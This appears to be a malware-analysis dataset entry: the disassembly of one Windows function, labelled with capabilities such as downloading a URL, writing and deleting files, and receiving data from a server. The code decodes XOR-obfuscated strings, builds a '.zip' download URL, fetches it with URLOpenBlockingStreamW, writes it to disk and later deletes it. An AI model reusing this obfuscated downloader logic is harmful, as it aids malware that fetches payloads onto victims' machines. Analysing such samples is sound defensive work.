Function at 0x404150
Capabilities:
Delete file
Download and write a file
Download url
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x444ff1
mov eax, dword fs:[0]
push eax
mov eax, 0x5090
call fcn.0041e4f0
mov eax, dword [0x455170]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x5028], edx
mov dword [ebp - 0x5098], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x5094], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x5030], eax
call fcn.00407050
mov ecx, dword fs:[0x2c]
mov esi, eax
mov dword [ebp - 0x5088], esi
mov dword [ebp - 0x501c], 0xc52c1693
mov ebx, dword [ecx]
mov dword [ebp - 0x508c], ebx
mov eax, dword [ebx + 0x164]
test al, 1
jne 0x404209
or eax, 1
mov dword [ebx + 0x164], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x378], 0x143
push 0x4455e0
mov dword [ebx + 0x374], eax
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x379], 0
lea edi, [eax + 0x374]
je 0x404268
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0xa14561fb
and ecx, 7
mov edx, 0xd75b9143
shl ecx, 3
call fcn.004446d0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x404258
cmp esi, 5
jb 0x404231
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 5], 0
push dword [0x45792c]
push edi
push esi
call fcn.00406e80
mov eax, dword [ebx + 0x214]
mov dword [ebp - 0x501c], 0xe9094011
mov word [ebp - 0x5018], 0x262c
test al, 1
jne 0x4042d9
or eax, 1
mov dword [ebx + 0x214], eax
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x19a], 0x12d
mov dword [ebx + 0x194], eax
mov ax, word [ebp - 0x5018]
push 0x4455c0
mov word [ebx + 0x198], ax
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x19b], 0
lea edi, [eax + 0x194]
je 0x404338
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0x85792575
and ecx, 7
mov edx, 0x872d5f43
shl ecx, 3
call fcn.004446d0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x404328
cmp esi, 7
jb 0x404301
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 7], 0
movsd xmm0, qword [0x451bd0]
sub esp, 8
movsd qword [esp], xmm0
push edi
push esi
call fcn.00406dc0
mov eax, dword [ebx + 0x394]
mov dword [ebp - 0x501c], 0x684f2ee1
test al, 1
jne 0x40439c
or eax, 1
mov dword [ebx + 0x394], eax
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x21c], 0x19b
push 0x4455a0
mov dword [ebx + 0x218], eax
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x21d], 0
lea edi, [eax + 0x218]
je 0x4043fb
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0xd3f5795
and ecx, 7
mov edx, 0xafc7bf9b
shl ecx, 3
call fcn.004446d0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x4043eb
cmp esi, 5
jb 0x4043c4
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 5], 0
movd xmm0, dword [ebp + 0x10]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
push edi
push esi
call fcn.00406dc0
mov eax, dword [ebx + 0x19c]
mov dword [ebp - 0x5020], 0xf1ad84b1
test al, 1
jne 0x40445e
or eax, 1
mov dword [ebx + 0x19c], eax
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x5020]
mov byte [ebx + 0x390], 1
push 0x445580
mov dword [ebx + 0x38c], eax
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x390], 0
lea edi, [eax + 0x38c]
je 0x4044bd
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0xf1dfe1c7
and ecx, 7
mov edx, 0x2b37ed2b
shl ecx, 3
call fcn.004446d0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x4044ad
cmp esi, 4
jb 0x404486
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 4], 0
movsd xmm0, qword [0x451bd8]
sub esp, 8
movsd qword [esp], xmm0
push edi
push esi
call fcn.00406dc0
push esi
call fcn.004072b0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call edi
push dword [ebp - 0x5088]
mov esi, eax
call fcn.004072b0
mov edx, esi
mov ecx, eax
call fcn.00401130
push eax
mov dword [ebp - 0x5090], eax
call edi
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [ebp - 0x5024], 0x48054239
mov eax, dword [ebx + 0x200]
mov dword [ebp - 0x5018], esi
mov dword [ebp - 0x5020], 0xb9263aba
test al, 1
jne 0x404579
or eax, 1
mov dword [ebx + 0x200], eax
mov dword [ebp - 4], 4
mov eax, dword [ebp - 0x5024]
mov ecx, dword [ebp - 0x5020]
mov byte [ebx + 0x1d0], 1
mov dword [ebx + 0x1c8], eax
push 0x445560
mov dword [ebx + 0x1cc], ecx
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x1d0], 0
lea edi, [eax + 0x1c8]
je 0x4045d8
xorps xmm0, xmm0
movlpd qword [ebp - 0x5024], xmm0
mov ebx, dword [ebp - 0x5020]
mov esi, dword [ebp - 0x5024]
mov ecx, esi
mov eax, 0x2971235d
and ecx, 7
mov edx, 0xb9551f87
shl ecx, 3
call fcn.004446d0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x4045c8
cmp esi, 8
jb 0x4045a1
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5018]
mov byte [edi + 8], 0
push dword [ebp - 0x5090]
push edi
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push 0
push eax
call fcn.0041fcf0
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, esi
call fcn.00401440
add esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call esi
push dword [ebp - 0x5090]
call esi
push dword [ebp - 0x5088]
call fcn.00407080
lea eax, [ebp - 0x5014]
push eax
call fcn.00407120
mov ecx, dword [ebx + 0x350]
mov dword [ebp - 0x5090], eax
mov dword [ebp - 0x501c], 0x5a26d825
test cl, 1
jne 0x40469a
or ecx, 1
mov dword [ebx + 0x350], ecx
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x180], 0x13d
push 0x445540
mov dword [ebx + 0x17c], eax
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x181], 0
lea edi, [eax + 0x17c]
je 0x4046f3
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0x3f4bb94b
and ecx, 7
mov edx, 0x2d07d33d
shl ecx, 3
call fcn.004446d0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x4046e9
cmp esi, 5
jb 0x4046c2
mov ebx, dword [ebp - 0x508c]
mov byte [edi + 5], 0
push edi
push dword [ebp - 0x5090]
call fcn.00407100
mov ecx, dword [ebx + 0x178]
mov dword [ebp - 0x5018], eax
mov dword [ebp - 0x5024], 0x52a6bc9b
test cl, 1
jne 0x404753
or ecx, 1
mov dword [ebx + 0x178], ecx
mov dword [ebp - 4], 6
mov eax, dword [ebp - 0x5024]
mov word [ebx + 0x328], 0x163
push 0x445520
mov dword [ebx + 0x324], eax
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x329], 0
lea edi, [ebx + 0x324]
je 0x4047ab
xorps xmm0, xmm0
movlpd qword [ebp - 0x5024], xmm0
mov ebx, dword [ebp - 0x5020]
mov esi, dword [ebp - 0x5024]
nop dword [eax]
mov ecx, esi
mov eax, 0x21d5ddeb
and ecx, 7
mov edx, 0x4d431b63
shl ecx, 3
call fcn.004446d0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x4047a7
cmp esi, 5
jb 0x404780
mov byte [edi + 5], 0
push edi
push dword [ebp - 0x5090]
call fcn.00407100
mov dword [ebp - 0x5088], eax
mov eax, dword [ebp - 0x5018]
push dword [eax + 0x10]
lea eax, [ebp - 0x3014]
push 0x457510
push 0x45b930
push 0x45bb38
push str._hs:___hs_hs__hs.zip
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x2014]
push dword [0x457920]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x2014]
push 0x45165c
push eax
call esi
push dword [ebp - 0x5098]
lea eax, [ebp - 0x2014]
push eax
call esi
xor ebx, ebx
lea eax, [ebp - 0x5020]
push ebx
push ebx
push eax
lea eax, [ebp - 0x3014]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x4048d8
mov eax, dword [ebp - 0x5020]
lea edx, [ebp - 0x5084]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x4048c4
mov edi, dword [ebp - 0x507c]
inc edi
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x4048ca
push edi
xorps xmm0, xmm0
push 0
push ebx
movlpd qword [ebp - 0x509c], xmm0
call fcn.0041fcf0
mov eax, dword [ebp - 0x5020]
add esp, 0xc
mov ecx, dword [eax]
push 0
push 0
push dword [ebp - 0x5098]
push dword [ebp - 0x509c]
push eax
call dword [ecx + 0x14]
mov ecx, dword [ebp - 0x5020]
lea eax, [edi - 1]
push 0
push eax
push ebx
mov edx, dword [ecx]
push ecx
call dword [edx + 0xc]
mov eax, dword [ebp - 0x5020]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x4048de
mov edi, dword [ebp - 0x5098]
mov eax, dword [ebp - 0x5020]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x4048de
mov edi, dword [ebp - 0x5098]
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
lea eax, [ebp - 0x2014]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x5038]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0x2014]
push 0
push 0
push 0
push 0
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push eax
lea eax, [ebp - 0x2014]
push eax
push 0
push 0xfde9
call edi
mov esi, eax
lea ecx, [esi + esi]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0
push 0
push esi
push eax
mov dword [ebp - 0x5018], eax
lea eax, [ebp - 0x2014]
push eax
call ebx
push eax
lea eax, [ebp - 0x2014]
push eax
push 0
push 0xfde9
call edi
push dword [ebp - 0x5030]
mov edx, dword [ebp - 0x5088]
push dword [ebp - 0x5094]
mov ecx, dword [ebp - 0x5018]
push dword [ebp - 0x5028]
mov edx, dword [edx + 0x10]
call fcn.00401590
add esp, 0xc
call fcn.00407050
mov edi, dword [ebp - 0x508c]
mov dword [ebp - 0x5088], eax
mov dword [ebp - 0x502c], 0x916a78d3
mov ecx, dword [edi + 0x110]
test cl, 1
jne 0x404a09
or ecx, 1
mov dword [edi + 0x110], ecx
mov dword [ebp - 4], 7
mov eax, dword [ebp - 0x502c]
mov word [edi + 0x1e8], 0x123
push 0x445500
mov dword [edi + 0x1e4], eax
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0x1e9], 0
lea ebx, [eax + 0x1e4]
je 0x404a62
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0xf5030fbb
and ecx, 7
mov edx, 0xc3933f23
shl ecx, 3
call fcn.004446d0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x404a58
cmp esi, 5
jb 0x404a31
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 5], 0
push dword [0x45792c]
push ebx
push dword [ebp - 0x5088]
call fcn.00406e80
mov eax, dword [edi + 0x2c0]
mov dword [ebp - 0x502c], 0xcb990833
mov word [ebp - 0x5028], 0x5414
test al, 1
jne 0x404ad8
or eax, 1
mov dword [edi + 0x2c0], eax
mov dword [ebp - 4], 8
mov eax, dword [ebp - 0x502c]
mov word [edi + 0x25e], 0x1e3
mov dword [edi + 0x258], eax
mov ax, word [ebp - 0x5028]
push 0x4454e0
mov word [edi + 0x25c], ax
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0x25f], 0
lea ebx, [eax + 0x258]
je 0x404b31
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0xa7e96d57
and ecx, 7
mov edx, 0xd5e32d7b
shl ecx, 3
call fcn.004446d0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x404b27
cmp esi, 7
jb 0x404b00
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 7], 0
movsd xmm0, qword [0x451bd8]
sub esp, 8
movsd qword [esp], xmm0
push ebx
push dword [ebp - 0x5088]
call fcn.00406dc0
mov eax, dword [edi + 0x330]
mov dword [ebp - 0x502c], 0xe875cc17
test al, 1
jne 0x404b9a
or eax, 1
mov dword [edi + 0x330], eax
mov dword [ebp - 4], 9
mov eax, dword [ebp - 0x502c]
mov word [edi + 0x320], 0x117
push 0x4454c0
mov dword [edi + 0x31c], eax
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0x321], 0
lea ebx, [eax + 0x31c]
je 0x404bf3
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0x8d05b563
and ecx, 7
mov edx, 0xdb18b17
shl ecx, 3
call fcn.004446d0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x404be9
cmp esi, 5
jb 0x404bc2
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 5], 0
movd xmm0, dword [ebp + 0x10]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
push ebx
push dword [ebp - 0x5088]
call fcn.00406dc0
mov eax, dword [edi + 0x138]
mov dword [ebp - 0x5020], 0x1f2f623d
test al, 1
jne 0x404c5b
or eax, 1
mov dword [edi + 0x138], eax
mov dword [ebp - 4], 0xa
mov eax, dword [ebp - 0x5020]
mov byte [edi + 0x27c], 1
push 0x4454a0
mov dword [edi + 0x278], eax
call fcn.0041e22d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0x27c], 0
lea ebx, [eax + 0x278]
je 0x404cb4
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0x1f5d074b
and ecx, 7
mov edx, 0x565e3d7
shl ecx, 3
call fcn.004446d0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x404caa
cmp esi, 4
jb 0x404c83
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 4], 0
movsd xmm0, qword [0x451bd8]
sub esp, 8
movsd qword [esp], xmm0
push ebx
mov ebx, dword [ebp - 0x5088]
push ebx
call fcn.00406dc0
push ebx
call fcn.004072b0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov esi, eax
call fcn.004072b0
mov edx, esi
mov ecx, eax
call fcn.00401130
mov esi, eax
push esi
mov dword [ebp - 0x5094], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov dword [ebp - 0x5034], 0xc891e2f3
mov eax, dword [edi + 0x280]
mov dword [ebp - 0x5028], ebx
mov dword [ebp - 0x5030], 0x97d2be1c
test al, 1
jne 0x404d6e
or eax, 1
mov dword [edi + 0x280], eax
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0x5034]
mov ecx, dword [ebp - 0x5030]
mov byte [edi + 0x1f4], 1
mov dword [edi + 0x1ec], eax
push 0x445480
mov dword [edi + 0x1f0], ecx
call fcn.0041e22d
add esp, 4
cmp byte [edi + 0x1f4], 0
lea edi, [edi + 0x1ec]
je 0x404dcb
xorps xmm0, xmm0
movlpd qword [ebp - 0x5034], xmm0
mov ebx, dword [ebp - 0x5030]
mov esi, dword [ebp - 0x5034]
mov ecx, esi
mov eax, 0xa9e58397
and ecx, 7
mov edx, 0x97a19b21
shl ecx, 3
call fcn.004446d0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x404dbb
cmp esi, 8
jb 0x404d94
mov ebx, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x5094]
mov byte [edi + 8], 0
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push 0
push eax
call fcn.0041fcf0
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, ebx
call fcn.00401440
add esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
call ebx
push esi
call ebx
push dword [ebp - 0x5088]
call fcn.00407080
push dword [ebp - 0x5090]
call fcn.00407080
lea eax, [ebp - 0x2014]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x5018]
call ebx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041dea9
mov esp, ebp
pop ebp
ret